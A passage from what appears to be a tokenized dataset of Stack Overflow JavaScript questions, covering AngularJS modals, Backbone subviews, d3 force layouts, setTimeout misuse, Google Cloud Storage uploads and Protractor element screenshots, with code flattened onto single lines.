reading ) ; var reading = yield readSensor ( this.next.bind ( this ) ) ; console.log ( reading ) ; } function readSensor ( callback ) { // simulate asynchrounous callback from reading sensor setTimeout ( function sensorCallback ( ) { callback ( 'foo ' ) ; } , 100 ) ; }",Using generator function next ( ) as a callback in node.js JS : I 've always wondered since i learned about prototype inheritance why you push an instance of the parent class into the child prototype and not the prototype itself ? Why not do the inheritance like this ? My guess is that with only inheriting the prototype you are n't including the properties created in the constructor ( this.type ) but I 'm not entirely sure . Anyone want to enlighten me ? But is n't putting an instance into the child class prototype putting all constructor-defined properties in the prototype too and thus introducing possible pitfalls ? I 'm thinking about the fact that the prototype properties are shared among all instances of a class unless they are defined in the constructor . var Animal = function ( type ) { this.type = type ; } Animal.prototype.getType = function ( ) { return this.type ; } var Cat = function ( options ) { this.breed = options.breed ; } //InheritanceCat.prototype = new Animal ( 'Cat ' ) ; Cat.prototype = Animal.prototype ;,"Prototype inheritance , why an instance and not the prototype ?" "JS : I am trying to open a modal popup with table . How can I do this ? In my app.js , on the click event of row open a modal , I also want to update some field with the selected item value . But i ca n't update with selected value . my app.js var tableApp = angular.module ( 'tableApp ' , [ 'ui.bootstrap ' ] ) ; tableApp.controller ( 'tableController ' , function ( $ scope , $ rootScope , $ filter , $ modal ) { $ scope.filteredPeople = [ ] ; $ scope.currentPage = 1 ; $ scope.pageSize = 10 ; $ scope.people = [ { id : `` 1 '' , name : `` joe '' , disable : true } , { id : `` 2 '' , name : `` bill '' , disable : true } , { id : `` 3 '' , name : `` john '' , disable : true } , { id : `` 1 '' , name : `` joe '' , disable : true } , { id : `` 2 '' , name : `` bill '' , disable : true } , { id : `` 3 '' , name : `` john '' , disable : true } , { id : `` 1 '' , name : `` joe '' , disable : true } , { id : `` 2 '' , name : `` bill '' , disable : true } , { id : `` 3 '' , name : `` john '' , disable : true } , { id : `` 1 '' , name : `` joe '' , disable : true } , { id : `` 2 '' , name : `` bill '' , disable : true } , { id : `` 3 '' , name : `` john '' , disable : true } , { id : `` 1 '' , name : `` joe '' } , { id : `` 2 '' , name : `` bill '' , disable : true } , { id : `` 3 '' , name : `` john '' , disable : true } ] ; $ scope.getPage = function ( ) { var begin = ( ( $ scope.currentPage - 1 ) * $ scope.pageSize ) ; var end = begin + $ scope.pageSize ; $ scope.filteredPeople = $ filter ( 'filter ' ) ( $ scope.people , { id : $ scope.idFilter , name : $ scope.nameFilter } ) ; $ scope.totalItems = $ scope.filteredPeople.length ; $ scope.filteredPeople = $ scope.filteredPeople.slice ( begin , end ) ; } ; $ scope.getPage ( ) ; $ scope.pageChanged = function ( ) { $ scope.getPage ( ) ; } ; $ scope.open = function ( ) { $ scope.id = generateUUID ( ) ; } ; $ scope.dblclick = function ( index ) { for ( var i = 0 ; i < $ scope.filteredPeople.length ; i++ ) { $ scope.filteredPeople [ i ] .disable = true ; } return index.disable = false ; } $ scope.rowSelect = function ( rowdata ) { alert ( rowdata.name ) ; } } ) ; tableApp.controller ( 'DetailModalController ' , [ ' $ scope ' , ' $ modalInstance ' , 'item ' , function ( $ scope , $ modalInstance , item ) { $ scope.item = item ; $ scope.dismiss = function ( ) { $ modalInstance.dismiss ( ) ; } ; $ scope.close = function ( ) { $ modalInstance.close ( $ scope.item ) ; } ; } ] ) ; tableApp.directive ( 'myModal ' , function ( $ log , $ compile ) { var parm = [ ] ; return { restrict : ' E ' , templateUrl : 'modalBase.html ' , scope : { modal : '= ' , idF : '= ' } , link : function ( scope , element , attrs ) { debugger ; parm.name = attrs.idf ; } //controller : function ( $ scope ) { // debugger ; // console.log ( $ scope ) ; // $ scope.selected = { // item : $ scope.modal.items [ 0 ] // } ; // $ scope.ok = function ( ) { // debugger ; // alert ( parm.name ) ; // $ scope.modal.instance.close ( $ scope.selected ) ; // } ; // $ scope.cancel = function ( ) { // $ scope.modal.instance.dismiss ( 'cancel ' ) ; // } ; // $ scope.modal.instance.result.then ( function ( selectedItem ) { // $ scope.selected = selectedItem ; // } , function ( ) { // $ log.info ( 'Modal dismissed at : ' + new Date ( ) ) ; // } ) ; // } } ; } ) ;",selectable table modal popup in angular js JS : Visual Studio 2010 inserts a space between the keyword `` function '' and the following parenthesis . Is it possible to turn this off ? i.e.Visual Studio formats my code like : I would like this formatting : var vsfn = function ( ) { } ; var myfn = function ( ) { } ;,Visual Studio 2010 insists on inserting spaces in JavaScript "JS : When working in VS2008 in a large aspx file the program grinds to halt updating JScript intellisense . Is their a way to turn this off ? It 's not listed in Tools > Options > Text Editor . Already have the AllLanguages.AutoListMembers and AllLanguages.ParameterInformation turned off . EDIT : VS2008 did not have sp1 installed . As to why it does n't have SP1 I do n't know . Not listed in my Microsoft Updates . Forcing a manual install right now . AARRGGGHHHHHHH ! ! ! ! ! ! 1 ! EDIT 2 : An hour and a half later and the SP1 is installed and updated . BTW these are the macros i use to turn off and on the intellisense : Sub Intellisense_Off ( ) Dim textEditor As Properties textEditor = DTE.Properties ( `` TextEditor '' , `` AllLanguages '' ) textEditor.Item ( `` AutoListMembers '' ) .Value = False textEditor.Item ( `` AutoListParams '' ) .Value = FalseEnd SubSub Intellisense_On ( ) Dim textEditor As Properties textEditor = DTE.Properties ( `` TextEditor '' , `` AllLanguages '' ) textEditor.Item ( `` AutoListMembers '' ) .Value = True textEditor.Item ( `` AutoListParams '' ) .Value = TrueEnd Sub",How do I turn off JScript Intellisense in vs2008 ? "JS : Previously , I used $ sce.trustAsHtml ( aString ) to inject a string ( eg , < html > ... < /html > ) to a template < div ng-bind-html= '' content '' > < /div > to display a graph when loading a generated URL : Now , the html to generate a graph contains references to other files , eg , < script src= '' script.js '' > < /script > . So I need a folder of files ( .html , .css , .js ) to draw a graph . I can put the whole folder in my server , but the problem is how to inject these files to the template . I tried templateUrl : 'http : //localhost:3000/tmp/ZPBSytN5GpOwQN51AAAD/index.html ' , loading localhost:3000/ # /urls/58b8c55b5d18ed6163324fb4 in the browser does load the html page . However , script.js is NOT loaded , an error Failed to load resource : the server responded with a status of 404 ( Not Found ) is shown in the console log.Does anyone know how to amend this ? Otherwise , is there any other ways to say something like src=http : //localhost:3000/tmp/ZPBSytN5GpOwQN51AAAD/index.html ( like in iframe ) ? Then , < script src= '' script.js '' > < /script > in index.html will know it refers to the script.js in the same folder.Edit 1 : Following the comment of @ Icycool , I changed to templateUrl : '/htmls/test.html ' , and test.html contains < div ng-include= '' 'http : //localhost:3000/tmp/ZPBSytN5GpOwQN51AAAD/index.html ' '' > < /div > . The test showed it did load test.html and index.html , but NOT script.js : GET http : //localhost:3000/script.js ? _=1488543470023 404 ( Not Found ) .Edit 2 : I have created two files for test purpose : index.html and script.js . Here is a plunker , neither template nor templateUrl works , as explained ... .state ( 'urls ' , { url : '/urls/ { id } ' , template : ' < div ng-bind-html= '' content '' > < /div > ' , controller : 'UrlCtrl ' , resolve : { url : [ ' $ stateParams ' , 'urls ' , function ( $ stateParams , urls ) { return urls.get ( $ stateParams.id ) ; } ] } } ) app.controller ( 'UrlCtrl ' , [ ' $ sce ' , ' $ scope ' , 'url ' , function ( $ sce , $ scope , url ) { $ scope.content = $ sce.trustAsHtml ( url.content ) ; } ] ) ;",Make a web page with a folder of external files "JS : Note : I understand that other libraries ( e.g. , Marionette ) could greatly simplify view-based issues . However , let 's assume that that is not an option here.Let 's say that we have a parent view for a given `` record '' ( i.e. , a model ) . That parent view has two subviews , one for displaying the record 's attributes and one for editing them ( assume that editing-in-place is not appropriate in this case ) . Up until now , whenever I needed to remove/display subviews , I literally called remove on the outgoing view and new on the incoming view , so I was destroying/creating them everytime . This was straightforward and easy to code/manage.However , it seemed relevant to figure out if there were any workable alternatives to the ( seemingly default ) approach of removing/creating - especially because it 's been asked a few times before , but never fully answered ( e.g. , Swap out views with Backbone ? ) So I 've been trying to figure out how I could have both subviews share an element in the parent view , preventing me from having to remove and new them everytime . When one needs to be active , it is rendered and the other one is `` silenced '' ( i.e. , does n't respond to events ) . So they are continually swapped out until the parent view is removed , and then they are all removed together.What I came up with can be found here : http : //jsfiddle.net/nLcan/Note : The swapping is performed in RecordView.editRecord and RecordView.onRecordCancel.Although this appears to work just fine , I have a few concerns : ( 1 ) Even if the event bindings are silenced on the `` inactive '' view , might there be a problem for two views to be set the same element ? As long as only the `` active '' view is rendered , it does n't seem like this should be an issue . ( 2 ) When the two subviews have remove called ( i.e. , Backbone.View.remove ) it calls this. $ el.remove . Now , when the first subview is removed , this will actually remove the DOM element that they were both sharing . Accordingly , when remove is called on the second subview there is no DOM element to remove , and I wonder if that might make it difficult for that subview to clean itself up - especially if it had created a number of DOM elements itself that were then over-written when the first subview was rendered ... . or if there are sub-sub-views involved ... it seems like there might be a potential concern regarding memory leaks here.Apologies , as I know this is a little convoluted . I 'm RIGHT at the boundary of my knowledge base , so I do n't fully understand all the potential issues involved here ( hence the question ) . But I do hope someone out there has dealt with a similar issue and can offer an informed opinion on all this.Anyhow , here is the ( simplified example ) code in full : // parent view for displaying/editing a record . creates its own DOM element.var RecordView = Backbone.View.extend ( { tagName : `` div '' , className : `` record '' , events : { `` click button [ name=edit ] '' : `` editRecord '' , `` click button [ name=remove ] '' : `` removeRecord '' , } , initialize : function ( settings ) { // create the two subviews . one for displaying the field ( s ) and // one for editing them . they both listen for our cleanup event // which causes them to remove themselves . the display view listens // for an event telling it to update its data . this.displayView = new RecordDisplayView ( settings ) ; this.displayView.listenTo ( this , '' cleanup '' , this.displayView.remove ) ; this.displayView.listenTo ( this , '' onSetData '' , this.displayView.setData ) ; this.editView = new RecordEditView ( settings ) ; this.editView.listenTo ( this , '' cleanup '' , this.editView.remove ) ; // the editView will tell us when it 's finished . this.listenTo ( this.editView , '' onRecordSave '' , this.onRecordSave ) ; this.listenTo ( this.editView , '' onRecordCancel '' , this.onRecordCancel ) ; this.setData ( settings.data , false ) ; this.isEditing = false ; this.activeView = this.displayView ; // we have two elements within our recordView , one for displaying the // the header of the record ( i.e. , info that does n't change ) and // one for displaying the subView . the subView element will be // bound to BOTH of our subviews . this.html = `` < div class='header ' > < /div > < div class='sub ' > < /div > '' ; } , render : function ( ) { // for an explanation of why .empty ( ) is called first , see : https : //stackoverflow.com/questions/21031852/backbone-view-delegateevents-not-re-binding-events-to-subview this. $ el.empty ( ) .html ( this.html ) ; this. $ ( `` .header '' ) .empty ( ) .html ( `` < p > Record ID : `` +this.data.id+ '' < /p > < p > < button name='edit ' > Edit < /button > < button name='remove ' > Remove < /button > < /p > '' ) ; this.delegateEvents ( ) ; // allows for re-rendering this.renderSubView ( ) ; return this ; } , // the subviews SHARE the same element . renderSubView : function ( ) { this.activeView.setElement ( this. $ ( `` .sub '' ) ) .render ( ) ; } , remove : function ( ) { this.stopListening ( this.displayView ) ; this.stopListening ( this.editView ) ; this.trigger ( `` cleanup '' ) ; this.displayView = null ; this.editView = null ; return Backbone.View.prototype.remove.call ( this ) ; } , // notify will only be false upon construction call setData : function ( data , notify ) { this.data = data ; if ( notify ) { this.trigger ( `` onSetData '' , data ) ; } } , /* Triggered Events */ editRecord : function ( event ) { if ( ! this.isEditing ) { this.isEditing = true ; this.activeView.silence ( ) ; // silence the old view ( i.e. , display ) this.activeView = this.editView ; this.renderSubView ( ) ; } event.preventDefault ( ) ; } , removeRecord : function ( event ) { this.remove ( ) ; // triggers ` remove ` on both subviews event.preventDefault ( ) ; } , /* Triggered Events from editView */ onRecordSave : function ( data ) { this.setData ( data , true ) ; this.onRecordCancel ( ) ; } , onRecordCancel : function ( ) { this.isEditing = false ; this.activeView.silence ( ) ; // silence the old view ( i.e. , edit ) this.activeView = this.displayView ; this.renderSubView ( ) ; } } ) ; // child view of RecordView . displays the attribute . takes over an existing DOM element.var RecordDisplayView = Backbone.View.extend ( { events : { // if steps are not taken to silence this view , this event will trigger when // the user clicks 'cancel ' on the editView ! `` click button [ name=cancel ] '' : `` onCancel '' } , initialize : function ( settings ) { this.setData ( settings.data ) ; } , setData : function ( data ) { this.data = data ; } , render : function ( ) { this. $ el.empty ( ) .html ( `` < p > < strong > Field : < /strong > `` +this.data.field+ '' < /p > '' ) ; return this ; } , remove : function ( ) { this.trigger ( `` cleanup '' ) ; this.data = null ; return Backbone.View.prototype.remove.call ( this ) ; } , // the view is still attached to a particular element in the DOM , however we do not // want it to respond to any events ( i.e. , it 's sharing an element but that element has // been rendered to by another view , so we want to make this view invisible for the time // being ) . silence : function ( ) { this.undelegateEvents ( ) ; } , /* Triggered Events */ onCancel : function ( ) { alert ( `` I 'M SPYING ON YOU ! USER PRESSED CANCEL BUTTON ! `` ) ; } } ) ; // subView of RecordView . displays a form for editing the record 's attributes . takes over an existing DOM element.var RecordEditView = Backbone.View.extend ( { events : { `` click button [ name=save ] '' : `` saveRecord '' , `` click button [ name=cancel ] '' : `` cancelRecord '' } , initialize : function ( settings ) { this.data = settings.data ; } , render : function ( ) { this.html = `` < form > < textarea name='field ' rows='10 ' > '' +this.data.field+ '' < /textarea > < p > < button name='save ' > Save < /button > < button name='cancel ' > Cancel < /button > < /p > < /form > '' ; this. $ el.empty ( ) .html ( this.html ) ; return this ; } , remove : function ( ) { this.trigger ( `` cleanup '' ) ; this.data = null ; return Backbone.View.prototype.remove.call ( this ) ; } , silence : function ( ) { this.undelegateEvents ( ) ; } , /* Triggered Events */ saveRecord : function ( event ) { this.data.field = this. $ ( `` form textarea [ name=field ] '' ) .val ( ) ; this.trigger ( `` onRecordSave '' , this.data ) ; event.preventDefault ( ) ; } , cancelRecord : function ( event ) { event.preventDefault ( ) ; this.trigger ( `` onRecordCancel '' ) ; } } ) ; // presumably this RecordView instance would be in a list of some sort , along with a bunch of other RecordViews.var v1 = new RecordView ( { data : { id:10 , field : '' Hi there . I 'm some text ! `` } } ) ; $ ( `` # content '' ) .empty ( ) .html ( v1.render ( ) . $ el ) ; // $ ( `` # content '' ) .empty ( ) .html ( v1.render ( ) . $ el ) ; ( re-rendering would work fine )",Backbone.View : Swapping out two child views that share an element in the parent view "JS : I 'm currently using the following pattern to create namespaces and singleton objects in Javascript : I hope you get the idea . Is there a way to create namespaces that you think is cleaner or better ( explain why ) ? var Namespace = function ( ) { var priv = { privateVar1 : `` , privateVar2 : `` , privateFunction1 : function ( ) { //do stuff [ ... ] } , [ ... ] } ; var pub = { publicVar1 : `` , publicFunction1 : function ( ) { //do stuff with private functions and variables priv.privateVar1 = priv.privateFunction1 ( pub.publicVar1 ) ; [ ... ] } , [ ... ] } ; return pub ; } ( ) ;",Javascript : namespacing "JS : I am inserting images using Google Cloud Storage JSON API as shown in this sample , that needs to be shared publicly with read permissions . HTTP request looks like this : My bucket already has 'Reader ' permission for 'All Users ' , but inserted objects do n't inherit that property . Following URL throw access denied till I click on 'Share Publicly ' checkbox . http : //commondatastorage.googleapis.com/bucketname % 2FfilenameI need those image to be available as soon as inserted . Is there a way to share as part of HTTP insert request ? var request = gapi.client.request ( { 'path ' : '/upload/storage/v1beta2/b/ ' + BUCKET + '/o ' , 'method ' : 'POST ' , 'params ' : { 'uploadType ' : 'multipart ' } , 'headers ' : { 'Content-Type ' : 'multipart/mixed ; boundary= '' ' + boundary + ' '' ' } , 'body ' : multipartRequestBody } ) ;",Sharing publicly while inserting object by Google Cloud Storage JSON API "JS : I often notice when people split a string of substrings instead of just declare an array of the necessary strings . Example in moment.js : Example in jQueryWhat is a reason to prefer such way ? langConfigProperties = 'months|monthsShort|weekdays|weekdaysShort|weekdaysMin|longDateFormat|calendar|relativeTime|ordinal|meridiem'.split ( '| ' ) , `` Boolean Number String Function Array Date RegExp Object '' .split ( `` `` )",Using string split instead of array declaration array with substrings "JS : I 'm studying d3.js force chart and I have a question . Is it possible to make a force chart inside a triangle with some coordinates ? Here is my code : Full code is here : http : //codepen.io/Balzzac/pen/vGWXdQ . Now it is a force chart inside `` group '' , I need to make it is inside triangle `` tr '' so no one node is outside of boundaries of my triangle.Thanks for help ! PS Sorry for my English = ) var width = 500 ; var height = 500 ; //marginvar marginLeft = 10 ; var marginTop = 10 ; var marginRight = 10 ; var marginBottom = 10 ; var margin = { left : marginLeft , top : marginTop , right : marginRight , bottom : marginBottom } ; //size of canvasvar innerWidth = width - margin.left - margin.right ; var innerHeight = height - margin.top - margin.bottom ; var radius = 10 ; var svg = d3.select ( `` .forcechart '' ) .append ( `` svg '' ) .attr ( `` width '' , width ) .attr ( `` height '' , height ) .style ( `` background '' , `` # eee '' ) ; var tr = svg.append ( `` polygon '' ) // attach a polygon .style ( `` stroke '' , `` black '' ) // colour the line .style ( `` fill '' , `` none '' ) // remove any fill colour .attr ( `` points '' , `` 250,0 , 12,173 , 250,250 '' ) ; // x , y points var group = svg.append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) ; var graph = { `` nodes '' : [ { `` x '' : 0 , `` y '' : 0 } , { `` x '' : 100 , `` y '' : 100 } , { `` x '' : 500 , `` y '' : 500 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 100 , `` y '' : 100 } , { `` x '' : 500 , `` y '' : 500 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 100 , `` y '' : 100 } , { `` x '' : 500 , `` y '' : 500 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 100 , `` y '' : 100 } , { `` x '' : 500 , `` y '' : 500 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 100 , `` y '' : 100 } , { `` x '' : 500 , `` y '' : 500 } , { `` x '' : 300 , `` y '' : 0 } , { `` x '' : 300 , `` y '' : 0 } , ] , `` links '' : [ ] } ; var nodes = graph.nodes , links = graph.links ; var force = d3.layout.force ( ) .size ( [ innerWidth , innerHeight ] ) .nodes ( nodes ) .links ( links ) ; force.linkDistance ( 100 ) ; force.charge ( -200 ) ; var link = group.selectAll ( '.link ' ) .data ( links ) .enter ( ) .append ( 'line ' ) .attr ( 'class ' , 'link ' ) ; var node = group.selectAll ( '.node ' ) .data ( nodes ) .enter ( ) .append ( 'circle ' ) .attr ( 'class ' , 'node ' ) ; force.on ( 'tick ' , function ( ) { node.attr ( ' r ' , radius ) .attr ( 'cx ' , function ( d ) { return d.x ; } ) .attr ( 'cy ' , function ( d ) { return d.y ; } ) ; link.attr ( 'x1 ' , function ( d ) { return d.source.x ; } ) .attr ( 'y1 ' , function ( d ) { return d.source.y ; } ) .attr ( 'x2 ' , function ( d ) { return d.target.x ; } ) .attr ( 'y2 ' , function ( d ) { return d.target.y ; } ) ; } ) ; force.start ( ) ;",Force chart d3.js inside a triangle "JS : following is deletfile functionabove is my jQuery and i m calling one function at the end after 25 second , but some how it 's not delaying the deletefile ( url ) function and execute just after.So what should be the problem ? function tryToDownload ( url ) { oIFrm = document.getElementById ( 'myIFrm ' ) ; oIFrm.src = url ; // alert ( url ) ; // url=escape ( url ) ; setTimeout ( deletefile ( url ) , 25000 ) ; } function deletefile ( url ) { $ .ajax ( { type : 'post ' , url : `` < % = addToDoDeleteDownloadFile % > '' , data : { filename : url } , type : `` GET '' , timeout : 20000 , dataType : `` text '' , success : function ( data ) { alert ( `` success '' ) ; } } ) ; }",why settimeout not delay the function execution ? JS : I have simple image uploader in a website and a javascript function which uses FileReader and converts image to base64 to display it for user without uploading it to actual server.Now I am trying to write tests for this method using Mocha and Chai . My thinking is that I want to check if the file.dataUrl was successfully created and it is base64 . So I would like to mock the local file somehow in testing environment ( not sure how to do this ) . Or I should not test this at all and assume that this is working ? function generateThumb ( file ) { var fileReader = new FileReader ( ) ; fileReader.readAsDataURL ( file ) ; fileReader.onload = function ( e ) { // Converts the image to base64 file.dataUrl = e.target.result ; } ; },Javascript testing with mocha the html5 file api ? "JS : I have an element that i would like off screen to begin with , but then on click of a link , that element gets animated in ( using animate.css ) . But , i 'm not sure what css method to use to hide that element off screen so it can be animated in.The js i 'm using is : And i have tried doing : andBut i 'm not sure that even makes sense to try tbh.Any help really gratefully received ! $ ( '.services-wrapper ' ) .on ( 'click ' , '.services-panel__cta ' , function ( e ) { e.preventDefault ( ) ; $ ( '.services-panel__secondary ' ) .addClass ( 'animated bounceInright ' ) ; } ) position : absolute ; left : 100 % left : -9999px",Initial state of element to be animated in "JS : I 'm new to ReactJS . I 'm trying to display Hello world using the code below , but I get this error message : What am I missing ? Code for App.jsCode for index.jsCode for /public/index.html //App.js ` import React from 'react ' ; const App = ( ) = > `` < h1 > Hello World ! < /h1 > '' ; export default App ; //index.jsimport React from 'react ' ; import ReactDOM from 'react-dom ' ; import App from './App ' ; ReactDOM.render ( < App / > , document.getElementById ( 'root ' ) ) ; < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < title > React App < /title > < /head > < body > < div id= '' root '' > < /div > < /body > < /html >",Stateless component : A valid React element ( or null ) must be returned "JS : In CoffeeScript : In Ruby : Okay , so apparently JavaScript functions are set up to capture variables in the scope they are created in , but Ruby 's methods are not . Is there a way to make Ruby methods behave like JavaScript functions in this regard ? f = - > v = 5 g = - > v g ( ) f ( ) # returns 5 as expected def f v = 5 def g v # undefined local variable or method ` v ' for main : Object ( NameError ) end gendf",Capturing variables in Ruby methods "JS : Just wondering what the mysterious realm field in AutobahnJS is . From the docs , creating a connection is as follows : I do n't set a realm server-side so what is this realm parameter for ? Furthermore , it is a required field which must mean it is necessary for the connection to work . Can someone enlighten us on this ? var connection = new autobahn.Connection ( { url : 'ws : //127.0.0.1:9000/ ' , realm : 'realm1 ' } ) ;",What is the AutobahnJS realm for ? "JS : I 'm trying to write a simple Web Extension.Currently I 'm following the various tutorials and trying to understand the architecture.Interaction with specific tabs is done with content_scripts that are injected into the source code of a website.It seems to me , as if content_scripts are loaded automatically : https : //developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension # Content_scriptsA tutorial on MDN makes this even more clear : This script will be loaded into the pages that match the pattern given in the content_scripts manifest.json key . The script has direct access to the document , just like scripts loaded by the page itself.My extension is supposed to offer a context menu on every text selection.As a starting point , I found a useful sample extension for chrome . You can find it here https : //developers.chrome.com/extensions/samples , it is called `` speak selection '' This extension is reading selected text with a tts engine.But one part of the sourcecode is confusing : They have an explicit function to run content_scripts in tabs . This code is executed as part of an Init ( ) function in one of their background scripts : As far as I can see , the code is executed as soon as the browser starts.Is n't that redundant ? Their manifest.json should take care of the content_script execution , here is the relevant code : What is the proper way to inject a script into every open tab ? function loadContentScriptInAllTabs ( ) { chrome.windows.getAll ( { 'populate ' : true } , function ( windows ) { for ( var i = 0 ; i < windows.length ; i++ ) { var tabs = windows [ i ] .tabs ; for ( var j = 0 ; j < tabs.length ; j++ ) { chrome.tabs.executeScript ( tabs [ j ] .id , { file : 'keycodes.js ' , allFrames : true } ) ; chrome.tabs.executeScript ( tabs [ j ] .id , { file : 'content_script.js ' , allFrames : true } ) ; } } } ) ; } `` content_scripts '' : [ { `` matches '' : [ `` < all_urls > '' ] , `` all_frames '' : true , `` js '' : [ `` keycodes.js '' , `` content_script.js '' ] } ] ,",Does a web extension need to explicitly load content scripts ? "JS : As twig renders prior to any javascript , I 'm running into what feels like a minor problem.I need to set a variable in twig that I receive from JSON array , but I 'm running into some problems , and I feel like this should be simple.The data is fed to twig through symfony through a json array , and renders different messages depending on one element in the array ; this part works without trouble.I am able to print the output to the twig file ; that works fine . The problem is that I 'm having a hard time setting this to a twig variable so that I can use it in a few places.This works fine : $ ( '.id ' ) .html ( items [ 0 ] .id ) ; and prints out to the twig here correctly : < div class= '' id '' > < /div > I tried to do do something like this : But as expected this simply rendered the HTML without the value.I 've been attempting to do something like this : In the twig I have this : And in the jquery I have something like this : I also attempted something like thisI feel like I 'm missing a small piece . **Edit for clarity **The JSON array is being parsed by jquery . I have the value of items [ 0 ] .idAdditional edit here - to make it clear that I was confused : cleaning up a little so as not to send future readers down the wrong pathI believe [ d ] that the variable needs to be assigned in the javascript because the twig , which is php , is generated prior to the javascript . I have been attempting to generate the twig in the javascript to no avail.Here 's what I have been attempting : This defines requestId as a string and is only returning + requestitem + onto the page.When I attempt this ( without the quotations ) The twig does not recognize requestitem at allI have attempted quoting out the twig brackets ( e.g . `` { `` + `` % '' etc ) but this of course only prints them onto the page and does not interpret them . { % set requestid = ' < div class= '' id '' > < /div > ' % } { { requestid } } { % set requestid = `` request_holder '' % } { { requestid } } var reqid = items [ 0 ] .id ; reqid.replace ( `` request_holder '' , reqid ) ; var request_id = items [ 0 ] .id ; window.location = request_id.replace ( `` request_holder '' , request_id ) var requestitem = items [ 0 ] .id ; $ ( '.id ' ) .html ( `` { % set requestId = `` + requestitem + `` % } < br/ > { { requestId } } '' ) ; var requestitem = items [ 0 ] .id ; $ ( '.id ' ) .html ( `` { % set requestId = requestitem % } < br/ > { { requestId } } '' ) ;",set twig variable from json array "JS : In Javascript arrays may have gaps in their indices , which should not be confused with elements that are simply undefined : Since these gaps corrupt the length property I 'm not sure , if they should be avoided whenever possible . If so , I would treat them as edge case and not by default : Besides the fact that head is very concise , another advantage is that it can be used on all array-like data types . head is just a single simple example . If such gaps need to be considered throughout the code , the overhead should be significantly . var a = new Array ( 1 ) , i ; a.push ( 1 , undefined ) ; for ( i = 0 ; i < a.length ; i++ ) { if ( i in a ) { console.log ( `` set with `` + a [ i ] ) ; } else { console.log ( `` not set '' ) ; } } // logs : // not set// set with 1// set with undefined // default : function head ( xs ) { return xs [ 0 ] ; } // only when necessary : function gapSafeHead ( xs ) { var i ; for ( i = 0 ; i < xs.length ; i++ ) { if ( i in xs ) { return xs [ i ] ; } } }",Do arrays with gaps in their indices entail any benefits that compensate their disadvantages "JS : I want to know why I changed the specific item of an array and the page does n't update . I know doc of vue.js points out that : Due to limitations in JavaScript , Vue can not detect the following changes to an array : When you directly set an item with the index , e.g . vm.items [ indexOfItem ] = newValue.It says we should do that , but I do n't know why . And I 've found a similar question ( Vue computed issue - when will it compute again ) about that.Here is some code from the question above : I 'm confused about the answer from the question : total will be recalculated if this.cart is marked as changed , this.cart [ 0 ] is marked as changed or if this.cart [ 0 ] .nums or this.cart [ 0 ] .price is changed . The problem is that you are replacing the object in this.cart [ 0 ] . This means that this.cart [ 0 ] .price and nums do not change , because those still point to the old object.If I have replaced the object in this.cart [ 0 ] , why this.cart [ 0 ] is n't marked as changed ? why this.cart [ 0 ] .price and nums still point to old object ? I have changed the this.cart [ 0 ] ! right ? And why in the first situation it works well ? also replace the object . What 's the difference between the two scenarios ? // works welldata ( ) { return { cart : { item : { nums : 10 , price : 10 , } , } , } } , computed : { total ( ) { return this.cart.item.nums * this.cart.item.price } , } , methods : { set ( ) { //why it worked . this.cart.item = { nums : 5 , price : 5 , } } , } , // oops ! not working ! data ( ) { return { cart : [ { nums : 10 , price : 10 , } , ] , } } , computed : { total ( ) { return this.cart [ 0 ] .nums * this.cart [ 0 ] .price } , } , methods : { set ( ) { this.cart [ 0 ] = { nums : 5 , price : 5 , } } , } ,",why vue change specific array member not update dom "JS : I am writing some JS code to relink an image , then resize it to fit the containing object . Simplified version of code : With the try/catch block around the if ( image.locked ) block , the resize line throws the error `` Image is locked '' ( because it fails to unlock it ) . Without the try/catch but keeping the if ( image.locked ) block , it throws the error `` The property is not applicable in the current state . '' when trying to access image.locked.So what `` state '' is my image in , and why is it not `` applicable '' even though the app is clearly using it to prevent me resizing it ? How do I resize my image , given that this is an automated process and in production I wo n't have access to InDesign to edit it manually beforehand ? var image = ( get image ) ; try { image.itemLink.relink ( File ( new_filename ) ) ; } catch ( e ) { ( log it ) ; } var image = ( find image again because after the relink it would otherwise cause error `` Object no longer exists '' ) ( work out new width , height , v offset , h offset ) ; try { if ( image.locked ) { lock_later = true ; image.locked = false ; } } catch ( e ) { } // Resize and reposition imageimage.geometricBounds = [ ( rectangle.geometricBounds [ 0 ] + h_offset ) + `` mm '' , ( rectangle.geometricBounds [ 1 ] + w_offset ) + `` mm '' , ( rectangle.geometricBounds [ 2 ] - h_offset ) + `` mm '' , ( rectangle.geometricBounds [ 3 ] - w_offset ) + `` mm '' ] ; // Lock the image again if it was locked beforeif ( lock_later ) { image.locked = true ; }",InDesign Server - Ca n't resize image - it is locked and ca n't unlock it "JS : I have a simple webpack config .After I build and upload my modules to npm and use them on other projects the vs code IntelliSense is not working for these modules . The module functions are documented with jsdoc.OrMyfunc and myModule have no IntelliSense auto complate support or any other.How can I keep the jsdoc working after webpack build ? const path = require ( 'path ' ) ; module.exports = { devtool : 'source-map ' , entry : './src/index.js ' , output : { libraryTarget : 'commonjs ' , filename : 'index.js ' , path : path.resolve ( __dirname , 'dist ' ) , } , } ; import { myFunc } from 'myModule ' ; const myModule = require ( 'myModule ' ) ;",vs code IntelliSense not working with webpack bundles "JS : I am very new to Protractor and Javascript/Node.js.I had a requirement where i need to take the screenshot of particular element and show the same in the jasmine report ( Please note that the screenshot present in the report should not contain the entire web page , it should only contain the snap of the web element we are trying to find in the page . ) Here is the sample code which i found in stack overflow . but i could n't take the same because it takes the screenshot of entire page.testpage.takesnap = function ( elementLocator , screenshotName ) { i did n't get any error but still it takes the snap of entire webpage.I could n't understand.I have worked in java for the same scenarios . but for the same i could n't do it using protractor tool.Please help me with some example.Thanks in Advance . var test1 = element ( by.xpath ( elementLocator ) ) .getSize ( ) .then ( function ( size ) { element ( by.xpath ( elementLocator ) ) .getLocation ( ) .then ( function ( location ) { browser.takeScreenshot ( ) .then ( function ( data ) { var base64Data = data.replace ( /^data : image\/png ; base64 , / , `` '' ) ; fs.writeFile ( screenshotFilePath+screenshotName , base64Data , 'base64 ' , function ( err ) { if ( err ) { console.log ( err ) ; } else { test.cropInFile ( size , location , screenshotFilePath+screenshotName ) ; } doneCallback ( ) ; /////////////// } ) ; } 